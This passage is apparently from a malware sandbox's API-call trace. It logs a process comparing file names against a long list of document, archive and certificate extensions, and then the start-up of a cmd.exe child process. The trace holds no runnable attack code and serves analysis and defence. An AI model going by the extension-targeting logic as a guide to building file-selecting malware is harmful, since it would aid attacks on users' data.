(lpString1=".nrw", lpString2=".XML") returned -1 [0038.151] lstrlenW (lpString=".obj") returned 4 [0038.151] lstrcmpiW (lpString1=".obj", lpString2=".XML") returned -1 [0038.151] lstrlenW (lpString=".odb") returned 4 [0038.151] lstrcmpiW (lpString1=".odb", lpString2=".XML") returned -1 [0038.151] lstrlenW (lpString=".odc") returned 4 [0038.151] lstrcmpiW (lpString1=".odc", lpString2=".XML") returned -1 [0038.151] lstrlenW (lpString=".odm") returned 4 [0038.151] lstrcmpiW (lpString1=".odm", lpString2=".XML") returned -1 [0038.151] lstrlenW (lpString=".odp") returned 4 [0038.151] lstrcmpiW (lpString1=".odp", lpString2=".XML") returned -1 [0038.151] lstrlenW (lpString=".ods") returned 4 [0038.151] lstrcmpiW (lpString1=".ods", lpString2=".XML") returned -1 [0038.151] lstrlenW (lpString=".oft") returned 4 [0038.151] lstrcmpiW (lpString1=".oft", lpString2=".XML") returned -1 [0038.151] lstrlenW (lpString=".one") returned 4 [0038.151] lstrcmpiW (lpString1=".one", lpString2=".XML") returned -1 [0038.151] lstrlenW (lpString=".onepkg") returned 7 [0038.151] lstrcmpiW (lpString1=".onepkg", lpString2="MUI.XML") returned -1 [0038.151] lstrlenW (lpString=".onetoc2") returned 8 [0038.151] lstrcmpiW (lpString1=".onetoc2", lpString2="eMUI.XML") returned -1 [0038.151] lstrlenW (lpString=".opt") returned 4 [0038.151] lstrcmpiW (lpString1=".opt", lpString2=".XML") returned -1 [0038.151] lstrlenW (lpString=".oqy") returned 4 [0038.151] lstrcmpiW (lpString1=".oqy", lpString2=".XML") returned -1 [0038.151] lstrlenW (lpString=".orf") returned 4 [0038.151] lstrcmpiW (lpString1=".orf", lpString2=".XML") returned -1 [0038.151] lstrlenW (lpString=".p12") returned 4 [0038.151] lstrcmpiW (lpString1=".p12", lpString2=".XML") returned -1 [0038.151] lstrlenW (lpString=".p7b") returned 4 [0038.151] lstrcmpiW (lpString1=".p7b", lpString2=".XML") returned -1 [0038.151] lstrlenW (lpString=".p7c") returned 4 [0038.151] lstrcmpiW (lpString1=".p7c", lpString2=".XML") returned -1 [0038.151] lstrlenW (lpString=".pam") returned 4 [0038.151] lstrcmpiW (lpString1=".pam", lpString2=".XML") returned -1 [0038.151] lstrlenW (lpString=".pbm") returned 4 [0038.151] lstrcmpiW (lpString1=".pbm", lpString2=".XML") returned -1 [0038.151] lstrlenW (lpString=".pct") returned 4 [0038.151] lstrcmpiW (lpString1=".pct", lpString2=".XML") returned -1 [0038.152] lstrlenW (lpString=".pcx") returned 4 [0038.152] lstrcmpiW (lpString1=".pcx", lpString2=".XML") returned -1 [0038.152] lstrlenW (lpString=".pdd") returned 4 [0038.152] lstrcmpiW (lpString1=".pdd", lpString2=".XML") returned -1 [0038.152] lstrlenW (lpString=".pdf") returned 4 [0038.152] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.152] lstrlenW (lpString=".pdp") returned 4 [0038.152] lstrcmpiW (lpString1=".pdp", lpString2=".XML") returned -1 [0038.152] lstrlenW (lpString=".pef") returned 4 [0038.152] lstrcmpiW (lpString1=".pef", lpString2=".XML") returned -1 [0038.152] lstrlenW (lpString=".pem") returned 4 [0038.152] lstrcmpiW (lpString1=".pem", lpString2=".XML") returned -1 [0038.152] lstrlenW (lpString=".pff") returned 4 [0038.152] lstrcmpiW (lpString1=".pff", lpString2=".XML") returned -1 [0038.152] lstrlenW (lpString=".pfm") returned 4 [0038.152] lstrcmpiW (lpString1=".pfm", lpString2=".XML") returned -1 [0038.152] lstrlenW (lpString=".pfx") returned 4 [0038.152] lstrcmpiW (lpString1=".pfx", lpString2=".XML") returned -1 [0038.152] lstrlenW (lpString=".pgm") returned 4 [0038.152] lstrcmpiW (lpString1=".pgm", lpString2=".XML") returned -1 [0038.152] lstrlenW (lpString=".php") returned 4 [0038.152] lstrcmpiW (lpString1=".php", lpString2=".XML") returned -1 [0038.152] lstrlenW (lpString=".php3") returned 5 [0038.152] lstrcmpiW (lpString1=".php3", lpString2="I.XML") returned -1 [0038.152] lstrlenW (lpString=".php4") returned 5 [0038.152] lstrcmpiW (lpString1=".php4", lpString2="I.XML") returned -1 [0038.152] lstrlenW (lpString=".php5") returned 5 [0038.152] lstrcmpiW (lpString1=".php5", lpString2="I.XML") returned -1 [0038.152] lstrlenW (lpString=".phtml") returned 6 [0038.152] lstrcmpiW (lpString1=".phtml", lpString2="UI.XML") returned -1 [0038.152] lstrlenW (lpString=".pict") returned 5 [0038.152] lstrcmpiW (lpString1=".pict", lpString2="I.XML") returned -1 [0038.152] lstrlenW (lpString=".pl") returned 3 [0038.152] lstrcmpiW (lpString1=".pl", lpString2="XML") returned -1 [0038.152] lstrlenW (lpString=".pls") returned 4 [0038.152] lstrcmpiW (lpString1=".pls", lpString2=".XML") returned -1 [0038.152] lstrlenW (lpString=".pm") returned 3 [0038.152] lstrcmpiW (lpString1=".pm", lpString2="XML") returned -1 [0038.152] lstrlenW (lpString=".png") returned 4 [0038.152] lstrcmpiW (lpString1=".png", lpString2=".XML") returned -1 [0038.152] lstrlenW (lpString=".pnm") returned 4 [0038.152] lstrcmpiW (lpString1=".pnm", lpString2=".XML") returned -1 [0038.152] lstrlenW (lpString=".pot") returned 4 [0038.152] lstrcmpiW (lpString1=".pot", lpString2=".XML") returned -1 [0038.152] lstrlenW (lpString=".potm") returned 5 [0038.152] lstrcmpiW (lpString1=".potm", lpString2="I.XML") returned -1 [0038.152] lstrlenW (lpString=".potx") returned 5 [0038.152] lstrcmpiW (lpString1=".potx", lpString2="I.XML") returned -1 [0038.152] lstrlenW (lpString=".ppa") returned 4 [0038.152] lstrcmpiW (lpString1=".ppa", lpString2=".XML") returned -1 [0038.152] lstrlenW (lpString=".ppam") returned 5 [0038.152] lstrcmpiW (lpString1=".ppam", lpString2="I.XML") returned -1 [0038.152] lstrlenW (lpString=".ppm") returned 4 [0038.152] lstrcmpiW (lpString1=".ppm", lpString2=".XML") returned -1 [0038.152] lstrlenW (lpString=".pps") returned 4 [0038.152] lstrcmpiW (lpString1=".pps", lpString2=".XML") returned -1 [0038.152] lstrlenW (lpString=".ppsm") returned 5 [0038.153] lstrcmpiW (lpString1=".ppsm", lpString2="I.XML") returned -1 [0038.153] lstrlenW (lpString=".ppt") returned 4 [0038.153] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.153] lstrlenW (lpString=".pptm") returned 5 [0038.153] lstrcmpiW (lpString1=".pptm", lpString2="I.XML") returned -1 [0038.153] lstrlenW (lpString=".pptx") returned 5 [0038.153] lstrcmpiW (lpString1=".pptx", lpString2="I.XML") returned -1 [0038.153] lstrlenW (lpString=".prn") returned 4 [0038.153] lstrcmpiW (lpString1=".prn", lpString2=".XML") returned -1 [0038.153] lstrlenW (lpString=".ps") returned 3 [0038.153] lstrcmpiW (lpString1=".ps", lpString2="XML") returned -1 [0038.153] lstrlenW (lpString=".psb") returned 4 [0038.153] lstrcmpiW (lpString1=".psb", lpString2=".XML") returned -1 [0038.153] lstrlenW (lpString=".psd") returned 4 [0038.153] lstrcmpiW (lpString1=".psd", lpString2=".XML") returned -1 [0038.153] lstrlenW (lpString=".pst") returned 4 [0038.153] lstrcmpiW (lpString1=".pst", lpString2=".XML") returned -1 [0038.153] lstrlenW (lpString=".ptx") returned 4 [0038.153] lstrcmpiW (lpString1=".ptx", lpString2=".XML") returned -1 [0038.153] lstrlenW (lpString=".pub") returned 4 [0038.153] lstrcmpiW (lpString1=".pub", lpString2=".XML") returned -1 [0038.153] lstrlenW (lpString=".pwm") returned 4 [0038.153] lstrcmpiW (lpString1=".pwm", lpString2=".XML") returned -1 [0038.153] lstrlenW (lpString=".pxr") returned 4 [0038.153] lstrcmpiW (lpString1=".pxr", lpString2=".XML") returned -1 [0038.153] lstrlenW (lpString=".py") returned 3 [0038.153] lstrcmpiW (lpString1=".py", lpString2="XML") returned -1 [0038.153] lstrlenW (lpString=".qt") returned 3 [0038.153] lstrcmpiW (lpString1=".qt", lpString2="XML") returned -1 [0038.153] lstrlenW (lpString=".r3d") returned 4 [0038.153] lstrcmpiW (lpString1=".r3d", lpString2=".XML") returned -1 [0038.153] lstrlenW (lpString=".raf") returned 4 [0038.153] lstrcmpiW (lpString1=".raf", lpString2=".XML") returned -1 [0038.153] lstrlenW (lpString=".rar") returned 4 [0038.153] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.153] lstrlenW (lpString=".raw") returned 4 [0038.153] lstrcmpiW (lpString1=".raw", lpString2=".XML") returned -1 [0039.772] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc6df2ae0, ftLastAccessTime.dwHighDateTime=0x1d681e0, ftLastWriteTime.dwLowDateTime=0xc6df2ae0, ftLastWriteTime.dwHighDateTime=0x1d681e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x771829ce, dwReserved1=0x8000, cFileName="..", cAlternateFileName="")) returned 1 [0039.772] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x771829ce, dwReserved1=0x8000, cFileName="OutlookMUI.XML", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0044.767] FindNextFileW (in: hFindFile=0x3ed1278, lpFindFileData=0x352f310 | out: lpFindFileData=0x352f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x352f470, cFileName="..", cAlternateFileName="")) returned 1 [0044.767] FindNextFileW (in: hFindFile=0x3ed1278, lpFindFileData=0x352f310 | out: lpFindFileData=0x352f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x352f470, cFileName="InfoPathOMFormServices", cAlternateFileName="INFOPA~2")) returned 1 Thread: id = 22 os_tid = 0x404 Thread: id = 26 os_tid = 0x620 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x47d56000" os_pid = "0x714" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x7ac" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ec75" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0x704 [0033.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14f7b0 | out: lpSystemTimeAsFileTime=0x14f7b0*(dwLowDateTime=0xc3c41fa0, dwHighDateTime=0x1d681e0)) [0033.257] GetCurrentProcessId () returned 0x714 [0033.257] GetCurrentThreadId () returned 0x704 [0033.257] GetTickCount () returned 0x1143267 [0033.257] QueryPerformanceCounter (in: lpPerformanceCount=0x14f7b8 | out: lpPerformanceCount=0x14f7b8*=15299420526) returned 1 [0033.258] GetModuleHandleW (lpModuleName=0x0) returned 0x4a490000 [0033.258] __set_app_type (_Type=0x1) [0033.258] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a4b7810) returned 0x0 [0033.258] __getmainargs (in: _Argc=0x4a4da608, _Argv=0x4a4da618, _Env=0x4a4da610, _DoWildCard=0, _StartInfo=0x4a4be0f4 | out: _Argc=0x4a4da608, _Argv=0x4a4da618, _Env=0x4a4da610) returned 0 [0033.258] GetCurrentThreadId () returned 0x704 [0033.258] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x704) returned 0x3c [0033.259] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d40000 [0033.259] GetProcAddress (hModule=0x76d40000, lpProcName="SetThreadUILanguage") returned 0x76d56d40 [0033.259] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0033.259] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0033.259] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x14f748 | out: phkResult=0x14f748*=0x0) returned 0x2 [0033.259] VirtualQuery (in: lpAddress=0x14f730, lpBuffer=0x14f6b0, dwLength=0x30 | out: lpBuffer=0x14f6b0*(BaseAddress=0x14f000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0033.259] VirtualQuery (in: lpAddress=0x50000, lpBuffer=0x14f6b0, dwLength=0x30 | out: lpBuffer=0x14f6b0*(BaseAddress=0x50000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0033.259] VirtualQuery (in: lpAddress=0x51000, lpBuffer=0x14f6b0, dwLength=0x30 | out: lpBuffer=0x14f6b0*(BaseAddress=0x51000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0033.259] VirtualQuery (in: lpAddress=0x54000, lpBuffer=0x14f6b0, dwLength=0x30 | out: lpBuffer=0x14f6b0*(BaseAddress=0x54000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0033.259] VirtualQuery (in: lpAddress=0x150000, lpBuffer=0x14f6b0, dwLength=0x30 | out: lpBuffer=0x14f6b0*(BaseAddress=0x150000, AllocationBase=0x150000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0033.259] GetConsoleOutputCP () returned 0x1b5 [0033.259] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a4cbfe0 | out: lpCPInfo=0x4a4cbfe0) returned 1 [0033.260] SetConsoleCtrlHandler (HandlerRoutine=0x4a4b3184, Add=1) returned 1 [0033.260] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.260] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0033.260] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.260] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a4be194 | out: lpMode=0x4a4be194) returned 0 [0033.260] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.260] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a4be198 | out: lpMode=0x4a4be198) returned 0 [0033.260] GetEnvironmentStringsW () returned 0x2b8a60* [0033.260] GetProcessHeap () returned 0x2a0000 [0033.260] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0xa7c) returned 0x2b94f0 [0033.260] FreeEnvironmentStringsW (penv=0x2b8a60) returned 1 [0033.260] GetProcessHeap () returned 0x2a0000 [0033.260] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x8) returned 0x2b88e0 [0033.260] GetEnvironmentStringsW () returned 0x2b8a60* [0033.260] GetProcessHeap () returned 0x2a0000 [0033.260] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0xa7c) returned 0x2b9f80 [0033.260] FreeEnvironmentStringsW (penv=0x2b8a60) returned 1 [0033.260] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14e608 | out: phkResult=0x14e608*=0x44) returned 0x0 [0033.261] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14e600, lpData=0x14e620, lpcbData=0x14e604*=0x1000 | out: lpType=0x14e600*=0x0, lpData=0x14e620*=0x18, lpcbData=0x14e604*=0x1000) returned 0x2 [0033.261] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14e600, lpData=0x14e620, lpcbData=0x14e604*=0x1000 | out: lpType=0x14e600*=0x4, lpData=0x14e620*=0x1, lpcbData=0x14e604*=0x4) returned 0x0 [0033.261] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14e600, lpData=0x14e620, lpcbData=0x14e604*=0x1000 | out: lpType=0x14e600*=0x0, lpData=0x14e620*=0x1, lpcbData=0x14e604*=0x1000) returned 0x2 [0033.261] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14e600, lpData=0x14e620, lpcbData=0x14e604*=0x1000 | out: lpType=0x14e600*=0x4, lpData=0x14e620*=0x0, lpcbData=0x14e604*=0x4) returned 0x0 [0033.261] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14e600, lpData=0x14e620, lpcbData=0x14e604*=0x1000 | out: lpType=0x14e600*=0x4, lpData=0x14e620*=0x40, lpcbData=0x14e604*=0x4) returned 0x0 [0033.261] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14e600, lpData=0x14e620, lpcbData=0x14e604*=0x1000 | out: lpType=0x14e600*=0x4, lpData=0x14e620*=0x40, lpcbData=0x14e604*=0x4) returned 0x0 [0033.261] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14e600, lpData=0x14e620, lpcbData=0x14e604*=0x1000 | out: lpType=0x14e600*=0x0, lpData=0x14e620*=0x40, lpcbData=0x14e604*=0x1000) returned 0x2 [0033.261] RegCloseKey (hKey=0x44) returned 0x0 [0033.261] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14e608 | out: phkResult=0x14e608*=0x44) returned 0x0 [0033.261] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14e600, lpData=0x14e620, lpcbData=0x14e604*=0x1000 | out: lpType=0x14e600*=0x0, lpData=0x14e620*=0x40, lpcbData=0x14e604*=0x1000) returned 0x2 [0033.261] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14e600, lpData=0x14e620, lpcbData=0x14e604*=0x1000 | out: lpType=0x14e600*=0x4, lpData=0x14e620*=0x1, lpcbData=0x14e604*=0x4) returned 0x0 [0033.261] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14e600, lpData=0x14e620, lpcbData=0x14e604*=0x1000 | out: lpType=0x14e600*=0x0, lpData=0x14e620*=0x1, lpcbData=0x14e604*=0x1000) returned 0x2 [0033.261] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14e600, lpData=0x14e620, lpcbData=0x14e604*=0x1000 | out: lpType=0x14e600*=0x4, lpData=0x14e620*=0x0, lpcbData=0x14e604*=0x4) returned 0x0 [0033.261] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14e600, lpData=0x14e620, lpcbData=0x14e604*=0x1000 | out: lpType=0x14e600*=0x4, lpData=0x14e620*=0x9, lpcbData=0x14e604*=0x4) returned 0x0 [0033.261] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14e600, lpData=0x14e620, lpcbData=0x14e604*=0x1000 | out: lpType=0x14e600*=0x4, lpData=0x14e620*=0x9, lpcbData=0x14e604*=0x4) returned 0x0 [0033.261] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14e600, lpData=0x14e620, lpcbData=0x14e604*=0x1000 | out: lpType=0x14e600*=0x0, lpData=0x14e620*=0x9, lpcbData=0x14e604*=0x1000) returned 0x2 [0033.261] RegCloseKey (hKey=0x44) returned 0x0 [0033.261] time (in: timer=0x0 | out: timer=0x0) returned 0x5f50cbad [0033.261] srand (_Seed=0x5f50cbad) [0033.261] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0033.261] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0033.261] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a4cc0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0033.261] GetProcessHeap () returned 0x2a0000 [0033.261] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x218) returned 0x2baa10 [0033.261] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2baa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0033.262] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a4bf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0033.262] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a4bf360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0033.262] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a4bf360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0033.262] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0033.262] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0033.262] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0033.262] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0033.262] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0033.262] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0033.262] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0033.262] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0033.262] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0033.262] GetProcessHeap () returned 0x2a0000 [0033.262] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b94f0 | out: hHeap=0x2a0000) returned 1 [0033.262] GetEnvironmentStringsW () returned 0x2b8a60* [0033.262] GetProcessHeap () returned 0x2a0000 [0033.262] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0xa94) returned 0x2bac30 [0033.262] FreeEnvironmentStringsW (penv=0x2b8a60) returned 1 [0033.262] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a4bf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0033.262] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a4bf360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0033.262] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0033.262] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0033.262] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0033.262] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0033.262] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0033.262] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0033.262] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0033.262] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0033.262] GetProcessHeap () returned 0x2a0000 [0033.262] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x5c) returned 0x2bb6d0 [0033.262] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x14f410 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0033.262] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x14f410, lpFilePart=0x14f3f0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14f3f0*="Desktop") returned 0x25 [0033.262] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0033.262] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x14f120 | out: lpFindFileData=0x14f120*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x2bb740 [0033.263] FindClose (in: hFindFile=0x2bb740 | out: hFindFile=0x2bb740) returned 1 [0033.263] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x14f120 | out: lpFindFileData=0x14f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x2bb740 [0033.263] FindClose (in: hFindFile=0x2bb740 | out: hFindFile=0x2bb740) returned 1 [0033.263] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0033.263] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x14f120 | out: lpFindFileData=0x14f120*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbdc29640, ftLastAccessTime.dwHighDateTime=0x1d681e0, ftLastWriteTime.dwLowDateTime=0xbdc29640, ftLastWriteTime.dwHighDateTime=0x1d681e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x2bb740 [0033.263] FindClose (in: hFindFile=0x2bb740 | out: hFindFile=0x2bb740) returned 1 [0033.263] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0033.263] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0033.263] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0033.263] GetProcessHeap () returned 0x2a0000 [0033.263] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bac30 | out: hHeap=0x2a0000) returned 1 [0033.263] GetEnvironmentStringsW () returned 0x2bb740* [0033.263] GetProcessHeap () returned 0x2a0000 [0033.263] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0xae8) returned 